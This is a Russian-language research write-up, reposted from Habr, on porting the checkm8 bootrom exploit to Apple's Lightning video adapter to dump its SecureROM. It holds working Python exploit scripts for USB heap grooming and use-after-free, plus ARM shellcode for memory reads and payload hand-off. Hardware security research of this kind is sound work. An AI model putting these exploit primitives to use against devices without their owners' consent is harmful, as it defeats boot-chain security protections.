- PVSM.RU - https://www.pvsm.ru -
Появление эксплойта checkm8
можно назвать одним из важнейших событий прошедшего года для исследователей продукции Apple. Ранее мы уже опубликовали технический анализ [1] этого эксплойта. Сейчас сообщество активно развивает джейлбрейк checkra1n [2] на основе checkm8
, поддерживающий линейку устройств iPhone
от 5s
до X
и позволяющий установить на iOS
пакетный менеджер Cydia
и с его помощью устанавливать различные пакеты и твики.
checkm8
в значительной степени опирается на смещения различных функций в SecureROM
и данных в SRAM
. В связи с этим могут возникнуть вопросы: как изначально был извлечен SecureROM
конкретного устройства? Был ли он извлечен с помощью уязвимостей, лежащих в основе checkm8
, или каким-то другим образом?
Наверное, ответить на эти вопросы могут лишь сами исследователи, принимавшие участие в разработке checkm8
. Однако, в этой статье мы расскажем об одном из подходов к извлечению SecureROM
, основанном на уязвимостях, используемых в checkm8
, и требующем минимальных знаний о структуре памяти устройства. Описанный метод не является универсальным и будет работать только на устройствах без технологии безопасности W^X
. В качестве примера мы рассмотрим Lightning-видеоадаптер Apple (да, в этом адаптере есть свой SoC
с SecureROM
) и продемонстрируем не только извлечение SecureROM
, но и полную реализацию функциональности checkm8
для этого адаптера.
В конце 2012-го Apple выпустила два видеоадаптера для разъема Lightning:
Спустя некоторое время пользователи обнаружили [3], что внутри адаптеров есть полноценный SoC
с архитектурой ARM
— S5L8747
(далее это название будет использоваться, когда речь идет о SoC
исследуемого адаптера). Возможно, этим и объясняется их довольно высокая по сравнению с другими подобными устройствами стоимость. Согласно The iPhone Wiki [4], рассматриваемые видеоадаптеры имеют кодовое название Haywire
, а их прошивка загружается динамически при подключении к некоторому устройству (например, к iPhone) через Lightning.
В прошлом году в Twitter появился тред [5] за авторством @nyan_satan [6] (перевод на русский на Хабре [7]), в котором была собрана и дополнена вся имеющаяся информация о видеоадаптерах Apple. В том числе и о том, как подключить адаптер к ПК по USB.
Версия SecureROM
у SoC
S5L8747
, который используется в устройствах Haywire
, — 1413.8
. Судя по версии, эти устройства почти наверняка уязвимы к checkm8
, но на момент исследования проект ipwndfu [8] и его форки не поддерживали S5L8747
. Более того, в открытом доступе нам не удалось найти дамп SecureROM
для S5L8747
, из-за чего появился интерес к эксплуатации checkm8
на Haywire
.
Прежде всего, нам нужно было подключить устройство к ПК. В твитах @nyan_satan были информация о том, как это сделать [9], и схема подключения [10]. С интерфейсными платами для Lightning и Micro-USB подключиться к Haywire
довольно просто, но оказалось, что достать их в короткие сроки (а нам хотелось закончить исследование в течение недели) трудно, поэтому мы решили воспользоваться подручными средствами: макетной платной, несколькими соединительными проводами, ненужным USB-кабелем, понижающим преобразователем на базе AMS1117
, разъемом Lightning (был снят с другого, безнадежно испорченного в ходе экспериментов, адаптера Haywire
), двухсторонним скотчем и синей изолентой. В результате мы получили следующее:
Несмотря на свою неприглядность, получившаяся конструкция вполне работоспособна. При подключении к ПК в выводе dmesg
мы получили заветную строку, и можно было приступать к более интересной части:
[ 167.757532] usb 1-2: new high-speed USB device number 11 using xhci_hcd
[ 167.888010] usb 1-2: New USB device found, idVendor=05ac, idProduct=1227
[ 167.888015] usb 1-2: New USB device strings: Mfr=2, Product=3, SerialNumber=4
[ 167.888017] usb 1-2: Product: Apple Mobile Device (DFU Mode)
[ 167.888020] usb 1-2: Manufacturer: Apple Inc.
[ 167.888022] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
Чтобы лучше понять изложенное ниже, нужно иметь представление о том, как работает эксплойт checkm8
и какие уязвимости он использует. Все это описано на примере iPhone 7
в статье "Технический анализ эксплойта checkm8" [1]. Сопоставив различные SoC
и версии SecureROM
, мы пришли к выводу, что S5L8747
больше всего похож на SoC S5L8947
, используемый в Apple TV
третьего поколения, поэтому эксплуатация уязвимостей будет отличаться от эксплуатации в iPhone 7
. Рассмотрим наиболее важные различия между iPhone7
и Haywire
:
iPhone 7
, где использовалась 64-битная архитектура armv8
, в Haywire
— 32-битная armv7
. Кроме того, в Haywire
на этапе исполнения SecureROM
также отсутствуют технологии, препятствующие исполнению записываемой памяти (отсутствует WXN
— бит в регистре SCTLR
, препятствующий исполнению регионов памяти, доступных для записи; нет ограничений со стороны MMU
). В связи с этим нет необходимости в callback-chain
— code-reuse
подходе, используемом для iPhone 7
. Вместо этого управление будет передаваться напрямую на шеллкод в INSECURE_MEMORY
;SecureROM
1704.10
и более ранних версий нет возможности контролировать утечки памяти, так как пакет нулевой длины (zero-length-packet) создается для каждого запроса в очереди. Поэтому на Haywire
будет использоваться другой подход heap feng-shui
: свободная область небольшого размера будет создаваться в конце кучи путем почти полного заполнения кучи с помощью утечек памяти. В остальном принцип не изменился: на очередной итерации работы DFU
часть выделений памяти попадет в небольшой свободный чанк в конец кучи, остальное будет выделено в начале с некоторым смещением относительно предыдущей итерации, за счет чего можно будет перезаписать конфигурационные дескрипторы и объект запроса.Для удачной эксплуатации checkm8
на Haywire
необходимо определить основные параметры:
callback
в объекте usb_device_io_request
.Для поиска необходимых значений можно воспользоваться перебором, опираясь на реакцию исследуемого устройства, которую можно различить с ПК. В ходе экспериментов выяснилось, что можно ориентироваться на сообщения ядра (вывод команды dmesg -w
; исследование производилось на ПК под управлением ОС Ubuntu 16.04
): так можно определить момент перезагрузки устройства, а также переполнение конфигурационного дескриптора или исполнение бесконечного цикла на устройстве. Также полезными оказались исключения, возникающие при отправке запросов.
Итак, напишем на основе checkm8.py
скрипт для поиска нужных значений. В нем сделаем отправку USB
-запросов более информативной с помощью вывода исключений, и определим переменные, значения которых нужно найти:
large_leak
— необходимое количество запросов для удачного heap feng-shui
;padding
— смещение от UaF
-указателя до первого объекта usb_device_io_request
на куче;overwrite
— значение, которым будет перезаписан usb_device_io_request
.from checkm8 import *
# make usb_req_* functions more informative
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
try:
device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
except usb.core.USBError as ex:
print ex # need for more information
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 100
padding = 0x7c0
overwrite = ''
payload = ''
assert len(overwrite) + padding <= 0x800
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
При запуске можно заметить, что на этапе heap feng-shui
на определенном запросе исключение меняется с [Errno 110] Operation timed out
на [Errno 19] No such device (it may have been disconnected)
. Дело в том, что размер кучи в Haywire
значительно меньше, чем на устройствах iPhone
, и даже 100 объектов запроса не могут быть в ней размещены. Однако, это отличная возможность определить необходимое значение large_leak
. Так как исключение меняется на 45-ом запросе, будем перебирать, начиная с него.
На значении 43 в выводе dmesg -w
можно обнаружить предупреждения о неожиданном конфигурационном дескрипторе. Если посмотреть в Wireshark
на USB
-пакеты, можно убедиться, что запрашиваемый дескриптор оказался переполнен.
Таким образом, поиск необходимых констант почти закончен, и, экспериментируя со значением padding
и overwrite
, можно найти точное смещение первого дескриптора. При значении 43 — это 0x7a0, из-за чего значение usb_device_io_request
находится за пределами UaF
-буфера, и необходимо еще уменьшить large_leak
. В ходе дальнейших экспериментов были получены значения large_leak = 41
и смещения первого дескриптора 0x6e0
. Убедимся в правильности, перезаписав размер дескриптора с помощью overwrite = 'x09x02xff'
. В Wireshark
мы увидим следующий результат (вместо 25 ожидаемых байт было считано 255):
Полученные данные (значения дескрипторов и метаданные кучи) следует сохранить, они понадобятся в дальнейшем. Значение padding
для переполнения usb_device_io_request
вычисляется так: 0x6e0
(смещение до первого конфигурационного дескриптора) + 0x20
(размер области данных чанка с первым конфигурационным дескриптором) + 0x40
(размер целого чанка второго конфигурационного дескриптора) + 0x20
(размер метаданных чанка с usb_device_io_request
) = 0x760
.
Теперь можно передать управление по некоторому адресу. Предположительно, с помощью чтения за пределы конфигурационного дескриптора можно довольно точно определить нужные адреса. Но мы решили воспользоваться утекшими исходными кодами iBoot
, которые достаточно легко найти в публичном доступе: из них можно узнать, что адрес загрузки для SoC S5L8747
— 0x22000000
. Чтобы убедиться в этом, установим следующие значения искомых переменных и бесконечный цикл в качестве полезной нагрузки:
large_leak = 41
padding = 0x760
overwrite = struct.pack('<20xI', 0x22000000)
payload = 'xfexffxffxea' # armv7 inf-loop
При отправке USB
-запросов в полученном коде возникнут необычные задержки, а в логе dmesg
через некоторое время появятся следующие сообщения:
[ 3097.066887] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
[ 3097.384557] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3102.497002] usb 1-2: device descriptor read/64, error -110
[ 3117.714855] usb 1-2: device descriptor read/64, error -110
[ 3117.930756] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3123.043369] usb 1-2: device descriptor read/64, error -110
[ 3138.261119] usb 1-2: device descriptor read/64, error -110
[ 3138.477092] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3143.493674] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
[ 3143.697698] usb 1-2: Device not responding to setup address.
[ 3143.901633] usb 1-2: device not accepting address 98, error -71
[ 3144.013617] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
Устройство перестало отвечать на USB
-запросы из-за исполнения бесконечного цикла. Таким образом, была получена возможность исполнять произвольный код в SecureROM
на Lightning-видеоадаптере Apple, и теперь можно приступить непосредственно к его извлечению.
Для извлечения SecureROM
мы разработали шеллкод, который ищет строковые дескрипторы на куче и перезаписывает их данными из желаемого адреса. Для этого подойдет дескриптор названия продукта, в котором обычно содержится строка Apple Mobile Device (DFU Mode)
. Сами дескрипторы имеют следующую структуру: первый байт отведен под размер дескриптора, второй — его тип, а затем идет строка в кодировке UTF-16-LE
. Для оптимизации в шеллкоде можно также изменить и размер найденного дескриптора на 0xff
, чтобы за один раз извлекать 0xfd
байт (т.к. два байта используются для размера и типа дескриптора). При переполнении usb_device_io_request
также необходимо правильно переполнить метаданные кучи и значения дескрипторов (эти данные мы получили ранее за счет чтения за пределы конфигурационного дескриптора). Приведем код результата:
from checkm8 import *
from keystone import *
from hexdump import *
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 41
padding = 0x6e0
conf_desc = '0902190001010580320904000000fe01'
'00000721010a00000800000000000000'.decode('hex')
chunk_meta = '08000000020000000000000000000000'
'00000000000000000000000000000000'.decode('hex')
overwrite = conf_desc + chunk_meta + conf_desc + chunk_meta +
struct.pack('<20xI', 0x22000000)
assert len(overwrite) + padding <= 0x800
payload = '''
push {r1-r7,lr}
ldr r4, =0x2201c000
mov r5, r4
pattern_matching_loop:
sub r4, r4, #1
mov r0, #0
adr r1, ptrn
compare_loop:
add r2, r4, r0, lsl #1
cmp r2, r5
bge pattern_matching_loop
ldrb r3, [r1,r0]
ldrb r6, [r2]
cmp r3, r6
bne pattern_matching_loop
add r0, r0, #1
cmp r0, #30
beq found
b compare_loop
found:
mov r0, #0xff
strb r0, [r4, #-0x2]
mov r0, #0
mov r1, r4
ldr r2, =0x200 # target address
rewrite_loop:
ldrb r3, [r2,r0]
strb r3, [r1,r0]
add r0, r0, #1
cmp r0, #0xfd
ble rewrite_loop
pop {r1-r7,pc}
ptrn:
.asciz "Apple Mobile Device (DFU Mode)"
'''
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
payload, _ = ks.asm(payload)
payload = ''.join(chr(i) for i in payload)
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, '' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
desc = device.ctrl_transfer(0x80, 6, 0x303, 0, 0xff, 50)
leak = ''.join(chr(i) for i in desc)[2:]
hexdump(leak)
dfu.release_device(device)
В качестве адреса для чтения был выбран 0x200
, так как по этому адресу должна быть строка с версией SecureROM
. При запуске получаем ожидаемое значение:
# python ./checkm8-leak.py
Found: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
(1.26 seconds)
00000000: 53 65 63 75 72 65 52 4F 4D 20 66 6F 72 20 73 35 SecureROM for s5
00000010: 6C 38 37 34 37 78 73 69 2C 20 43 6F 70 79 72 69 l8747xsi, Copyri
00000020: 67 68 74 20 32 30 31 31 2C 20 41 70 70 6C 65 20 ght 2011, Apple
00000030: 49 6E 63 2E 00 00 00 00 00 00 00 00 00 00 00 00 Inc.............
00000040: 52 45 4C 45 41 53 45 00 00 00 00 00 00 00 00 00 RELEASE.........
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 69 42 6F 6F 74 2D 31 34 31 33 2E 38 00 00 00 00 iBoot-1413.8....
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 .............
Используя данный подход, можно полностью сдампить весь SecureROM
. За счет того, что Haywire
всегда запускается в режиме DFU
, этот процесс можно полностью автоматизировать, и на весь дамп потребуется менее часа. После этого можно приступить к поиску необходимых смещений для портирования checkm8
на Haywire
.
Для поиска необходимых функций и констант можно сравнивать SecureROM
устройств, для которых checkm8
уже реализован, и SecureROM
, извлеченный с Haywire
. Сам процесс поиска описывать не будем, результат можете посмотреть в репозитории [11]. К сожалению, после того, как все значения были найдены, ничего не заработало, устройство не переходило в pwned-DFU
режим. Оказалось, что это вызвано двумя проблемами: отсутствие свободного пространства в куче и повреждение метаданных кучи. Первую проблему наверняка можно решить, подобрав другое, меньшее значение large_leak
, а вторую — перезаписывая конфигурационные дескрипторы и метаданные чанков валидными значениями. Вместо этого можно воспользоваться дополнительным шеллкодом для восстановления метаданных и освобождения кучи, и затем уже передать управление на полезную нагрузку checkm8
. В результате получился следующий шеллкод:
push {r1-r7,lr}
ldr r4, =0x2201b4e0 # leaked requests address
mov r5, #0
ldr r6, =0x361c # free function
add r6, r6, #1
# we need more free space, so clear leaked requests
loop:
add r0, r4, r5
blx r6
add r5, r5, #0x40
cmp r5, #0x780
bne loop
# restore original chunk meta-data
ldr r4, =0x2201b340 # second conf descriptor chunk header
ldr r0, =0x00000008 # original chunk header values
ldr r1, =0x00000002
str r0, [r4]
str r1, [r4, #4]
pop {r1-r7,lr}
ldr r0, =0x22000000
bx r0 # jump to checkm8 payload
Необходимые адреса на куче и нужные значения метаданных, используемые в шеллкоде, были получены с помощью метода чтения по произвольному адресу, описанному в предыдущей части статьи.
В результате был получен checkm8
с полностью рабочими примитивами: чтения и записи памяти, а также исполнения функций по произвольному адресу. Дополнив другие значения, используемые в ipwndfu
, удалось получить доступ к функции шифрования и дешифрования с помощью GID
-ключа и затем расшифровать вторую стадию загрузки Haywire
с помощью утилиты xpwntool [12]:
Описанный в статье метод извлечения SecureROM
не требует особых версий устройств со включенной отладкой, дорогостоящих отладочных кабелей или специализированного оборудования. Конечно, этот метод работает далеко не на всех устройствах, а лишь на тех, где возможно исполнение кода в секции данных. В случае Apple
, это устройства с 32-битной архитектурой armv7
. checkm8
уже поддерживает большинство таких устройств, но не Haywire
, именно поэтому мы и взяли его в качестве примера.
Ознакомиться с результатом можно в репозитории ipwndfu-haywire [13].
Теперь, имея возможность исполнять произвольный код в SecureROM
, наконец-то можно попробовать запустить DOOM
[14] прямо на видеоадаптере Haywire
.
Надеемся, что статья была интересной и полезной. Хотя и описанный подход специфичен для устройств Apple
и уязвимостей из checkm8
, он и его отдельные части могут быть применены в контексте других устройств.
Первоисточник [15]
Автор: a1exdandy
Источник [17]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/345004
Ссылки в тексте:
[1] опубликовали технический анализ: https://habr.com/ru/company/dsec/blog/471668/
[2] checkra1n: https://checkra.in/
[3] пользователи обнаружили: https://panic.com/blog/the-lightning-digital-av-adapter-surprise/
[4] The iPhone Wiki: https://www.theiphonewiki.com/wiki/Haywire
[5] тред: https://twitter.com/nyan_satan/status/1155148789977636864
[6] @nyan_satan: https://twitter.com/nyan_satan
[7] перевод на русский на Хабре: https://habr.com/ru/post/461607/
[8] ipwndfu: https://github.com/axi0mX/ipwndfu
[9] как это сделать: https://twitter.com/nyan_satan/status/1155149072036237313
[10] схема подключения: https://twitter.com/nyan_satan/status/1155149135600934912
[11] репозитории: https://github.com/a1exdandy/ipwndfu-haywire/blob/master/checkm8.py#L166
[12] xpwntool: https://github.com/planetbeing/xpwn/
[13] ipwndfu-haywire: https://github.com/a1exdandy/ipwndfu-haywire
[14] запустить DOOM
: https://twitter.com/JacobEthanWhite/status/1210669461897805824
[15] Первоисточник: https://dsec.ru/blog/checkm8-dlya-lightning-videoadapterov-apple/
[16] Luca Todesco, The One Weird Trick SecureROM Hates: http://iokit.racing/oneweirdtrick.pdf
[17] Источник: https://habr.com/ru/post/485216/?utm_source=habrahabr&utm_medium=rss&utm_campaign=485216
Нажмите здесь для печати.